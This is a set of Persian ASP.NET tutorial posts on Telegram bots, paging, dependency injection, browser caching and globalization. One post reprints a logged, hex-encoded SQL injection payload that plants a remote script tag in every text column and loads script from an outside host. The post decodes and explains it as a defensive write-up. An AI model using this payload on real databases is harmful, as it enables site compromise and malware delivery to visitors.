بازخوردهای دوره
انتقال خودکار Data Annotations از مدل‌ها به ViewModelهای ASP.NET MVC به کمک AutoMapper
این سورس کد  ASP.NET MVC هست:
    public static class ModelValidatorProviders
    {
        private static readonly ModelValidatorProviderCollection _providers = new ModelValidatorProviderCollection()
        {
            new DataAnnotationsModelValidatorProvider(),
            new DataErrorInfoModelValidatorProvider(),
            new ClientDataTypeModelValidatorProvider()
        };

        public static ModelValidatorProviderCollection Providers
        {
            get { return _providers; }
        }
    }
در اینجا DataAnnotationsModelValidatorProvider وجود دارد و مشکلی نیست.
مطالب
نوشتن یک بات تلگرامی با استفاده از webhookها
با رشد روز افزون شبکه‌های اجتماعی و نیاز روزمره مردم به این شبکه‌ها ،اکثر شبکه‌های اجتماعی با در اختیار قرار دادن کتاب خانه‌ها و apiها، توسعه و طراحی یک برنامه‌ی مبتنی بر آن‌ها را فراهم کرده‌اند. تلگرام نیز یکی  از این شبکه‌ها است و با طراحی بات‌ها میتوان یک نرم افزار کوچک و پر کاربرد را جهت آن طراحی کرد.
در این مقاله قصد دارم نحوه ساخت یک بات تلگرامی را با استفاده از webhook که پیشنهاد خود تلگرام میباشد و همچنین کار با سایر apiهای مانند گرفتن عکس پروفایل و ... به اشتراک بگذارم. ما آموزش را بنا بر یک مثال کاربردی، در قالب یک بات تلگرامی قرار می‌دهیم که بعد از start شدن، پیغام خوش آمد گویی را نمایش میدهد و سپس جملات فارسی را از کاربر دریافت و معادل انگلیسی آن‌ها را با استفاده از از google translate به کاربر نشان میدهد.


شروع به ساخت بات

 به طور کلی دو روش برای ساخت یک بات تلگرامی وجود دارد:
1- استفاده از کتابخانه‌های آماده
2 - استفاده webhook

در روش 1، از یک سری از کتابخانه‌های آماده و تعریف شده، استفاده میکنیم.

مزایا:
 بدون زحمت زیادی و فقط با فراخوانی توابع آماده، قادر خواهیم بود یک بات خیلی ساده را شبیه سازی کنیم.
هزینه آن نسبت به webhook کمتر است و شما میتوانید با یک vps، بات را اجرا کنید.

معایب:
1- این روش ازpolling استفاد میکند. یعنی دستور دریافت شده در یک حلقه‌ی بی نهایت قرا میگیرد و هر بار چک میشود که آیا درخواستی رسیده است یا خیر؟ که سربار بالایی را بر روی سرور ما خواهد داشت.
2- بعد از مدتی down میشود.
3- اگر شمار درخواست‌ها بالا رود، Down میشود.

روش  دیگر استفاده از webhook است که اصولی‌ترین روش و روشی است که خود سایت تلگرام آن را پیشنهاد داده‌است. اگر بخواهم توضیح کوتاهی درباره webhook بدهم، با استفاده از آن میتوانید تعیین کنید وقتی یک event، رخ‌داد، api ایی فرخوانی شود؛ یا مثلا شما یک سایت را با api نوشته‌اید (ASP.NET Web API) و آن را پابلیش کرده‌اید و الان میخواهید یک api جدید را بنویسید. در این حالت با استفاده از webhook، دیگر نیازی نیست تا کل پروژه را پابلیش کنید. یک پروژه api را می‌نویسید و آن را آپلود می‌کنید و درقسمت تنظیم وب هوک، آدرس دامین خودتون را می‌دهید. حتی میتوانید آن را با php  یا هر زبانی که میتوانید بنویسید.

 معایب:
1- هزینه آن. شما علاوه بر تهیه‌ی هاست و دامین، باید ssl را هم فعال کنید که در ادامه بیشتر توضیح خواهیم داد. البته نگرانی برای پیاده سازی ssl نیست. چون سایت‌هایی هستند که این سرویس‌ها را به صورت رایگان در اختیار شما میگذارند (مانند Lets encrypt).
2- تنظیم آن به مراتب سخت‌تر از روش قبل است.

مزایا:
1- سرعت آن بیشتر است.
2- درخواست‌های با تعداد بالا را می‌توان به راحتی پاسخ داد.
3- وابستگی ثالثی ندارد.


اولین مرحله ساخت بات

تا اینجای کار به مباحث تئوری بات‌ها پرداختیم. حال وارد اولین مرحله‌ی ساخت بات‌ها میشویم. قبل از شروع، شما باید در بات BotFather@ عضو شوید و سپس یک بات جدید را بسازید. برای آموزش ساخت بات در BotFather، میتوانید از این مبحث استفاده کنید. بعد از ساخت بات در BotFather، شما داری یک token خواهید شد که یک رشته‌ی کد شده‌است.


ایجاد پروژه‌ی جدید بات

- در ادامه سراغ ویژوال استودیو رفته و یک پروژه‌ی Web api Empty را ایجاد کنید.
- سپس وارد سایت تلگرام شوید و کتابخانه‌ی مربوطه را دریافت کنیدو یا میتوانید با استفاده از دستور زیر، این کتابخانه را نصب کنید:
 Install-Package Telegram.Bot
پس از آن، اولین کار، ایجاد یک controller جدید به نام Webhook میباشد. درون این کنترلر، یکaction متد جدید را به نام UpdateMsg ایجاد می‌کنیم:
[HttpPost]
public async Task<IHttpActionResult> UpdateMsg(Update update)
{
  //......
}
تمام درخواست‌های تلگرام (وقایع رسیده‌ی از آن) ،به این action متد ارسال خواهند شد. اگر دقت کنید این متد دارای یک آرگومان از نوع update میباشد که شامل تمام پراپرتی‌های یک درخواست، اعم از نام کاربری، نوع درخواست، پیام و ... است.


تنظیم کردن WebHook

- حال به قسمت تنظیم کردن webhook می‌رسیم. وارد فایل Global.asax.cs برنامه شوید و با دستور زیر، وب هوک را تنظیم کنید:
var bot = new Telegram.Bot.TelegramBotClient("Token");
bot.SetWebhookAsync("https://Domian/api/webhook").Wait();
- در قسمت token ،token خود را که از BotFather دریافت کردید، وارد کنید و در قسمت setwebhook، باید ادرس دامنه‌ی خود را وارد نمائید. البته برای آزمایش برنامه، ما دامنه‌ای نداریم و  قصد خرید هاستی را هم نداریم. بنابراین با استفاده از ابزار ngrok می‌توان به سادگی یک دامنه‌ی آزمایشی SSL را تهیه کرد و از آن استفاده نمود.
- در این حالت بعد از اجرای ngrok، آدرس https آن را کپی کرده و در قسمت بالا، بجای Domain ذکر شده قرار دهید.
- برای آزمایش انجام کار، یک break-point را در قسمت action متد یاد شده قرار دهید و سپس برنامه را اجرا کنید.
- اکنون از طریق تلگرام وارد بات شوید و یک درخواست را ارسال کنید.
- اگر کار را به درستی انجام داده باشید، در صفحه ngrok  پیغام 200 مبتنی بر ارسال صحیح درخواست را دریافت خواهید کرد و همچنین در قسمت breakpoints برنامه بر روی آرگومان update، میتوانید پراپرتی‌های یک درخواست را به صورت کامل دریافت کنید.
- ارسال اولین درخواست ما از طریق بات start/ میباشد. در این حالت میتوان دریافت که کاربر برای بار اول است که از بات استفاده میکند.
- در اکشن متد از طریق خاصیت update.Message.Text میتوان به متن فرستاده شده دسترسی داشت.
- همچین اطلاعات کاربر در update.Message.From، همراه با درخواست، فرستاده می‌شود.


کار با ابزار ترجمه‌ی گوگل و تکمیل پروژه‌ی Web API

اکنون طبق مثال بالا می‌خواهیم وقتی کاربر برای اولین بار وارد شد، پیغام خوش آمد گویی به او نمایش داده شود. بعد از آن هر متنی را که فرستاد، معنای آن را از گوگل ترنسلیت گرفته و مجددا به کاربر ارسال میکنیم. برای اینکار کلاس WebhookController را به شکل زیر تکمیل خواهیم کرد: 
namespace Telegrambot.Controllers
{
    public class WebhookController : ApiController
    {
        Telegram.Bot.TelegramBotClient _bot = new Telegram.Bot.TelegramBotClient("number");
        Translator _translator = new Translator();

        [HttpPost]
        public async Task<IHttpActionResult> UpdateMsg(Update update)
        {
            if (update.Message.Text == "/start")
            {
                await _bot.SendTextMessageAsync(update.Message.From.Id, "Welcome To My Bot");
            }
            else
            {
                var translatedRequest = _translator.Translate(update.Message.Text, "Persian", "English");
                await _bot.SendTextMessageAsync(update.Message.From.Id, translatedRequest);
            }
            return Ok(update);
        }
    }
}
توضیحات:
- با استفاده از update.Message.From.Id میتوان پیغام را به شخصی که درخواست داده‌است فرستاد.
- دقت کنید هنگام ارسال درخواست، در ngrok آیا درخواستی فرستاده می‌شود یا خطایی وجود دارد.

نکته! برای استفاده از بات باید حتما از ssl استفاده کنید. اگر نیاز به خرید این سرویس را ندارید، از این لینک نیز می‌توانید سرویس مورد نظر را بعد از 24 ساعت بر روی دامین خود تنظیم کنید.


توضیحات بیشتر در این مورد را مثلا دکمه‌های پویا و گرفتن عکس پروفایل و ....، در مقاله‌ی بعدی قرار خواهم داد.

شما میتوانید از این لینک پروژه بالا را دریافت و اجرا کنید .
مطالب
پیاده سازی کتابخانه PagedList.MVC برای صفحه بندی اطلاعات در ASP.NET MVC
یکی از مواردی که در هر پروژه‌ای به چشم می‌خورد و وجود دارد، نمایش داده‌های ذخیره شده‌ی در بانک اطلاعاتی، به کاربر می‌باشد. احتمالا وب سایت‌هایی را دیده‌اید که تمامی اطلاعات را در یک صفحه بدون هیچ صفحه بندی به کاربر نشان میدهند که حس خوبی را به کاربر استفاده کننده منتقل نمیکند و نتیجه منفی هم بر روی  سئو خواهد گذاشت ( عدم داشتن Url‌های منحصر بفرد به ازای هر صفحه).
بعضا دیده می‌شود که برنامه نویس یک Paging را به صورت Ajax ی پیاده سازی میکند که با تغییر صفحه‌ها، اطلاعات را خوانده و به کاربر نمایش میدهد و هیچ اتفاقی در آدرس بار صفحه نمی‌افتد  و خیلی خرسند است از کاری که انجام داده‌است. در چنین مواردی اگر کاربر استفاده کننده از برنامه بخواهد لینک صفحه دهم گرید و یا لیست اطلاعات را برای کسی بفرستد، باید چکار کند؟
توضیح بالا صرفا به این دلیل بیان شد تا به ضرورت داشتن Url‌های منحصر بفرد برای هر Page برسیم؛ هر چند بحث جاری درباره سئو نیست. ولی ترجیح دادم در کنار  موضوع مقاله، توجهی هم داشته باشیم به این موضوع که رعایت آن حس بهتری را به کاربران برنامه می‌دهد.
کتابخانه‌های زیادی برای صفحه بندی اطلاعات وجود دارند و یا اینکه بعضی از برنامه نویسان و یا شرکت‌ها ترجیح می‌دهند خود چرخ را  مطابق میل خود از نو طراحی کنند. در ادامه قصد داریم به پیاده سازی کتابخانه PagedList که خیلی محبوب و پر طرفدار می‌باشد در ASP.NET MVC بپردازیم.

1- ابتدا قبل از هر کاری، با استفاده از دستور زیر اقدام به نصب کتابخانه آن می‌نماییم:
Install-Package PagedList.Mvc
2- بعد از نصب این کتابخانه، متد الحاقی ToPagedList در اختیار ما قرار داده می‌شود که بر روی IQueryable , IEnumerable در دسترس می‌باشد. 
3- در کنترلر فقط کافیست متد ToPagedList را فراخوانی کرده و مقدار بازگشتی را به View ارسال نمود.
4 - و در نهایت در داخل View (ها) فقط کافیست برای نمایش صفحه بندی، دستور Html.PagedListPager را فراخوانی کنیم.

چهار مورد فوق تقریبا تمام کارهایی است که باید انجام شوند تا قادر باشیم از این کتابخانه برای صفحه بندی اطلاعات استفاده کنیم. در ادامه نحوه پیاده سازی آن را به همراه چند مثال بیان می‌کنیم.

ابتدا یک مدل فرضی را همانند زیر تهیه می‌کنیم:
 public class Post
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string Body { get; set; }

    }
و کلاسی را همانند زیر برای دریافت یک لیست از پست‌ها می‌نویسیم:
public static class PostService
    {
        public static IEnumerable<Post> posts = new List<Post>() {
            new Post{Id=1,Title="Title 1",Body="Body 1"},
            new Post{Id=2,Title="Title 2",Body="Body 2"},
            new Post{Id=3,Title="Title 3",Body="Body 3"},
            new Post{Id=4,Title="Title 4",Body="Body 4"},
            new Post{Id=5,Title="Title 5",Body="Body 5"},
            new Post{Id=6,Title="Title 6",Body="Body 6"},
            new Post{Id=7,Title="Title 7",Body="Body 7"},
            new Post{Id=8,Title="Title 8",Body="Body 8"},
            new Post{Id=9,Title="Title 9",Body="Body 9"},
            new Post{Id=10,Title="Title 10",Body="Body 10"},
            new Post{Id=11,Title="Title 11",Body="Body 11"},
            new Post{Id=12,Title="Title 12",Body="Body 12"},
            };
    
        public static IEnumerable<Post> GetAll()
        {
            return posts
            .OrderBy(row => row.Id);
        }
    }  
ابتدا یک کنترلر را ایجاد نمایید. در اکشن متدی که قصد داریم لیستی از اطلاعات را به کاربر نمایش دهیم، باید یک متغییر از نوع int برای شماره صفحه در نظر گرفته شود:
    public ActionResult Index(int? page)
        {
           var pageNumber = page ?? 1; 
            var posts = PostService.GetAll(); 
            var result = posts.ToPagedList(pageNumber, 10); 
            ViewBag.posts = result;
            return View();        
        }
و در view مربوطه داریم:
@using PagedList.Mvc; 
@using PagedList; 
<link href="/Content/PagedList.css" rel="stylesheet" type="text/css" />
<h2>List of posts</h2>
<ul>
    @foreach (var post in ViewBag.posts)
    {
        <li>@post.Title</li>
    }
</ul>
@Html.PagedListPager((IPagedList)ViewBag.posts, page => Url.Action("Index", new { page }))
توسط متد postService.Getall، تمامی پست‌ها از دیتابیس خوانده شده که جمعا 12 رکورد می‌باشند. فراخوانی ToPagedList به تعداد پارامتر دوم  رکوردها را بر میگرداند و در متغییر result قرار می‌دهد و در پایان برای نمایش صفحه بندی، اقدام به فراخوانی متد الحاقی PagedListPager نموده‌ایم.
بله، درست حدس زده‌اید! این روش دارای یک عیب می‌باشد و آن این است که ابتدا ما تمامی رکورد‌ها را از دیتابیس فراخونی کرده و بعد از آن به تعداد 10 رکورد را از آن انتخاب نموده‌ایم. هر چند در مثال جاری تعداد رکورد‌ها زیاد نمی‌باشد، ولی با مرور زمان و حجیم شدن دیتابیس، کوئری فوق امکان دارد به کندی اجرا شود. به همین دلیل نیاز به متدی داریم که با توجه به صفحه جاری، تعداد n رکورد را از دیتابیس خوانده و نمایش دهد. برای این منظور متدی همانند زیر را به کلاس postService اضافه می‌نماییم:
       public static IEnumerable<Post> GetAll(int page, int recordsPerPage,out int totalCount)
        {
            totalCount = posts.Count();
            return posts
            .OrderBy(row => row.Id).Skip(page * recordsPerPage).Take(recordsPerPage); // in real projects change like this .skip(()=>resultforSkip).Take(()=>recordsPerPage )
        }
از totalCount برای نگه داری جمع کل رکورد‌ها استفاده میکنیم و قصد نداریم تمامی اطلاعات را از دیتابیس واکشی نماییم.

در صفحه بندی به صورت دستی، تا حدودی اکشن Index تغییر خواهد کرد. در این روش داریم:
public ActionResult Index(int? page)
        {
              var pageIndex = (page ?? 1) - 1; 
            var pageSize = 10;
            int totalPostCount; 
            var posts = PostService.GetAll(pageIndex, pageSize, out totalPostCount);
            var result = new StaticPagedList<Post>(posts, pageIndex + 1, pageSize, totalPostCount);
            ViewBag.posts = result;
            return View();    
        }
نکته: مقدار PagedIndex نمی‌تواند صفر باشد؛ چون شروع اعداد صفحه بندی  از یک هست. به این خاطر، PageIndex با یک واحد، جمع شده است. در روش قبلی مقدار پیش فرض  آن را 1 قرار دادیم. ولی در این روش ابتدا یک واحد از آن کم میکنیم؛ به این خاطر که در متد Skip شاهد اطلاعات دقیقی باشیم. محتوای view به همان روش قبلی می‌باشد و نیازی به تغییر آن نیست.

مقدار page به صورت کوئری استرینگ به انتهای url اضافه خواهد شد. جهت نظم بخشیدن به آن می‌بایست اقدام به افزودن route سفارشی نمایید که در حالت پیش فرض به صورت زیر می‌باشد:
http://localhost:53192/?page=2

   routes.MapRoute(
               name: "paging",
               url: "{controller}/{action}/{page}",
               defaults: new { controller = "Home", action = "Index", page = UrlParameter.Optional }
           );

در روش‌هایی که شرح آنها گذشت، از viewbag برای انتقال داده‌ها استفاده کردیم. می‌توان view مورد نظر را strongly-typed معرفی نمود و داده‌ها را از طریق return view به سمت view بفرستید. در این حالت در view مربوطه داریم :
@model PagedList.IPagedList <pagedListmvc.Models.Post>
و تغییر حلقه for به صورت زیر :
  @foreach (var post in Model)
    {
        <li>@post.Title</li>
    }

سفارشی کردن Url: فرض کنید همراه با کلیک بر روی شماره‌ی صفحات، بخواهیم یک سری دیتای دیگر را هم به اکشن پاس دهیم؛ برای مثال tag=mvc. برای این منظور داریم:
@Html.PagedListPager( myList, page => Url.Action("Index", new { page = page, tag= "mvc" }) )

استایل خروجی html حاصل از Html.PagedListPager بر اساس کتابخانه Bootstrap می‌باشد. در صورتیکه در پروژه خود از این کتابخانه استفاده نمی‌کنید، می‌توانید فقط فایل PagedList.css را از Nuget دریافت نموده و به پروژه‌ی خود اضافه نمایید.
یکی از overload‌های Html.PagedListPager پارامتری را تحت عنوان PagedListRenderOptions دارد که از آن می‌توانید برای پیکربندی صفحه بندی استفاده نمایید. برای نمونه نمایش فقط 5 صفحه:
@Html.PagedListPager((IPagedList)ViewBag.posts, page => Url.Action("Index", new { page = page }), PagedListRenderOptions.OnlyShowFivePagesAtATime)
همچنین قادر خواهید بود یکسری تنظیمات دستی را بر روی شماره صفحات تولید شده انجام دهید؛ برای نمونه تغییر عناوین Next , Prev با عناوین فارسی:
@Html.PagedListPager((IPagedList)ViewBag.posts, page => Url.Action("Index", new { page = page }), new PagedListRenderOptions { LinkToFirstPageFormat = "<< ابتدا", LinkToPreviousPageFormat = "< قبلی", LinkToNextPageFormat = "بعدی>", LinkToLastPageFormat = "آخرین >>" })
مطالب دوره‌ها
تزریق خودکار وابستگی‌ها در ASP.NET Web API به همراه رها سازی خودکار منابع IDisposable
در انتهای مطلب « تزریق خودکار وابستگی‌ها در برنامه‌های ASP.NET MVC » اشاره‌ای کوتاه به روش DependencyResolver توکار Web API شد که این روش پس از بررسی‌های بیشتر (^ و ^) به دلیل ماهیت service locator بودن آن و همچنین از دست دادن Context جاری Web API، مردود اعلام شده و استفاده از IHttpControllerActivator توصیه می‌گردد. در ادامه این روش را توسط Structure map 3 پیاده سازی خواهیم کرد.

پیش نیازها
- شروع یک پروژه‌ی جدید وب با پشتیبانی از Web API
- نصب دو بسته‌ی نیوگت مرتبط با Structure map 3
 PM>install-package structuremap
PM>install-package structuremap.web

پیاده سازی IHttpControllerActivator توسط Structure map

using System;
using System.Net.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Dispatcher;
using StructureMap;

namespace WebApiDISample.Core
{
    public class StructureMapHttpControllerActivator : IHttpControllerActivator
    {
        private readonly IContainer _container;
        public StructureMapHttpControllerActivator(IContainer container)
        {
            _container = container;
        }

        public IHttpController Create(
                HttpRequestMessage request,
                HttpControllerDescriptor controllerDescriptor,
                Type controllerType)
        {
            var nestedContainer = _container.GetNestedContainer();
            request.RegisterForDispose(nestedContainer);
            return (IHttpController)nestedContainer.GetInstance(controllerType);
        }
    }
}
در اینجا نحوه‌ی پیاده سازی IHttpControllerActivator را توسط StructureMap ملاحظه می‌کنید.
نکته‌ی مهم آن استفاده از NestedContainer آن است. معرفی آن به متد request.RegisterForDispose سبب می‌شود تا کلیه کلاس‌های IDisposable نیز در پایان کار به صورت خودکار رها سازی شده و نشتی حافظه رخ ندهد.


معرفی StructureMapHttpControllerActivator به برنامه

فایل WebApiConfig.cs را گشوده و تغییرات ذیل را در آن اعمال کنید:
using System.Web.Http;
using System.Web.Http.Dispatcher;
using StructureMap;
using WebApiDISample.Core;
using WebApiDISample.Services;

namespace WebApiDISample
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // IoC Config
            ObjectFactory.Configure(c => c.For<IEmailsService>().Use<EmailsService>());

            var container = ObjectFactory.Container;
            GlobalConfiguration.Configuration.Services.Replace(
                typeof(IHttpControllerActivator), new StructureMapHttpControllerActivator(container));


            // Web API routes
            config.MapHttpAttributeRoutes();
            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}
 در ابتدا تنظیمات متداول کلاس‌ها و اینترفیس‌ها صورت می‌گیرد. سپس نحوه‌ی معرفی  StructureMapHttpControllerActivator را به GlobalConfiguration.Configuration.Services مخصوص Web API ملاحظه می‌کنید. این مورد سبب می‌شود تا به صورت خودکار کلیه وابستگی‌های مورد نیاز یک Web API Controller به آن تزریق شوند.


تهیه سرویسی برای آزمایش برنامه

namespace WebApiDISample.Services
{
    public interface IEmailsService
    {
        void SendEmail();
    }
}

using System;

namespace WebApiDISample.Services
{
    /// <summary>
    /// سرویسی که دارای قسمت دیسپوز نیز هست
    /// </summary>
    public class EmailsService : IEmailsService, IDisposable
    {
        private bool _disposed;

        ~EmailsService()
        {
            Dispose(false);
        }

        public void Dispose()
        {
            Dispose(true);
            GC.SuppressFinalize(this);
        }

        public void SendEmail()
        {
            //todo: send email!
        }

        protected virtual void Dispose(bool disposeManagedResources)
        {
            if (_disposed) return;
            if (!disposeManagedResources) return;

            //todo: clean up resources here ...

            _disposed = true;
        }
    }
}
در اینجا یک سرویس ساده ارسال ایمیل را بدون پیاده سازی خاصی مشاهده می‌کنید.
نکته‌ی مهم آن استفاده از IDisposable در این کلاس خاص است (ضروری نیست؛ صرفا جهت بررسی بیشتر اضافه شده‌است). اگر در کدهای برنامه، یک چنین کلاسی وجود داشت، نیاز است متد Dispose آن نیز توسط IoC Container فراخوانی شود. برای آزمایش آن یک break point را در داخل متد Dispose قرار دهید.


استفاده از سرویس تعریف شده در یک Web API Controller

using System.Web.Http;
using WebApiDISample.Services;

namespace WebApiDISample.Controllers
{
    public class ValuesController : ApiController
    {
        private readonly IEmailsService _emailsService;
        public ValuesController(IEmailsService emailsService)
        {
            _emailsService = emailsService;
        }

        // GET api/values/5
        public string Get(int id)
        {
            _emailsService.SendEmail();
            return "_emailsService.SendEmail(); called!";
        }
    }
}
در اینجا مثال ساده‌ای را از نحوه‌ی تزریق سرویس ارسال ایمیل را در ValuesController مشاهده می‌کنید.
تزریق وهله‌ی مورد نیاز آن، به صورت خودکار توسط StructureMapHttpControllerActivator که در ابتدای بحث معرفی شد، صورت می‌گیرد.

فراخوانی متد Get آن‌را نیز توسط کدهای سمت کاربر ذیل انجام خواهیم داد:
<h2>Index</h2>

@section scripts
{
    <script type="text/javascript">
        $(function () {
            $.getJSON('/api/values/1?timestamp=' + new Date().getTime(), function (data) {
                alert(data);
            });
        });
    </script>
}
درون متد Get کنترلر، یک break point قرار دهید. همچنین داخل متد Dispose لایه سرویس نیز جهت بررسی بیشتر یک break point قرار دهید.
اکنون برنامه را اجرا کنید. هنگام فراخوانی متد Get، وهله‌ی سرویس مورد نظر، نال نیست. همچنین متد Dispose نیز به صورت خودکار فراخوانی می‌شود.


کدهای کامل این مثال را از اینجا می‌توانید دریافت کنید
WebApiDISample.zip 
مطالب
غیرفعال کردن کش مرورگر در MVC
برای غیرفعال کردن کش یک صفحه در ASP.NET MVC و از کار انداختن دکمه back می‌توان از فیلترها جهت کپسوله کردن یک سری کدهای تکراری که باید در حین اجرای یک اکشن متد فراخوانی شوند استفاده کرد:
   public class NoBrowserCacheAttribute : ActionFilterAttribute
   {
        public override void OnResultExecuting(ResultExecutingContext filterContext)
        {
            filterContext.HttpContext.DisableBrowserCache();
            base.OnResultExecuting(filterContext);
        }
   }

    public static class CacheManager
    {
        public static void DisableBrowserCache(this HttpContextBase httpContext)
        {
            httpContext.Response.Cache.SetExpires(DateTime.UtcNow.AddDays(-1));
            httpContext.Response.Cache.SetValidUntilExpires(false);
            httpContext.Response.Cache.SetRevalidation(HttpCacheRevalidation.AllCaches);
            httpContext.Response.Cache.SetCacheability(HttpCacheability.NoCache);
            httpContext.Response.Cache.SetNoStore();
        }
    }
در اینجا یک فیلتر سفارشی را جهت تنظیم کش صفحه به حالتی که توسط مرورگر ذخیره نشود، طراحی کرده‌ایم.
از این پس، استفاده از آن در مواقع نیاز و تنها در صفحات و Viewهایی که باید اینگونه رفتار کنند، به نحو زیر خواهد بود:
    [HttpGet]
    [NoBrowserCache]
    public virtual ActionResult Index(string name)

مطالب
حمله چینی‌ها به سایت‌های ایرانی !


چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com


خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:
print CAST(0x444... AS CHAR(4000))

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

.....

عبارت T-SQL فوق، تمامی فیلدهای متنی (varchar ، char ، text و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری ...int.Parse(Request) در صورت عدم دریافت یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)


IP های زیر حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197


مطالب
Globalization در ASP.NET MVC - قسمت ششم
در قسمت قبل ساختار اصلی و پیاده‌سازی ابتدایی یک پرووایدر سفارشی دیتابیسی شرح داده شد. در این قسمت ادامه بحث و مطالب پیشرفته‌تر آورده شده است.

تولید یک پرووایدر منابع دیتابیسی - بخش دوم
در بخش دوم این سری مطلب، ساختار دیتابیس و مباحث پیشرفته پیاده‌سازی کلاس‌های نشان داده‌شده در بخش اول در قسمت قبل شرح داده می‌شود. این مباحث شامل نحوه کش صحیح و بهینه داده‌های دریافتی از دیتابیس، پیاده‌سازی فرایند fallback، و پیاده‌سازی مناسب کلاس DbResourceManager برای مدیریت کل عملیات است.
 
ساختار دیتابیس
برای پیاده‌سازی منابع دیتابیسی روش‌های مختلفی برای آرایش جداول جهت ذخیره انواع ورودی‌ها می‌توان درنظر گرفت.
مثلا درصورتی‌که حجم و تعداد منابع بسیار باشد و نیز منابع دیتابیسی به اندازه کافی در دسترس باشد، می‌توان به ازای هر منبع یک جدول درنظر گرفت.
یا درصورتیکه منابع داده‌ای محدودتر باشند می‌توان به ازای هر کالچر یک جدول درنظر گرفت و تمام منابع مربوط به یک کالچر را درون یک جدول ذخیره کرد. درهرصورت نحوه انتخاب آرایش جداول منابع کاملا بستگی به شرایط کاری و سلایق برنامه‌نویسی دارد.
برای مطلب جاری به عنوان یک راه‌حل ساده و کارآمد برای پروژه‌های کوچک و متوسط، تمام ورودی‌های منابع درون یک جدول با ساختاری مانند زیر ذخیره می‌شود:


نام این جدول را با درنظر گرفتن شرایط موجود می‌توان Resources گذاشت.

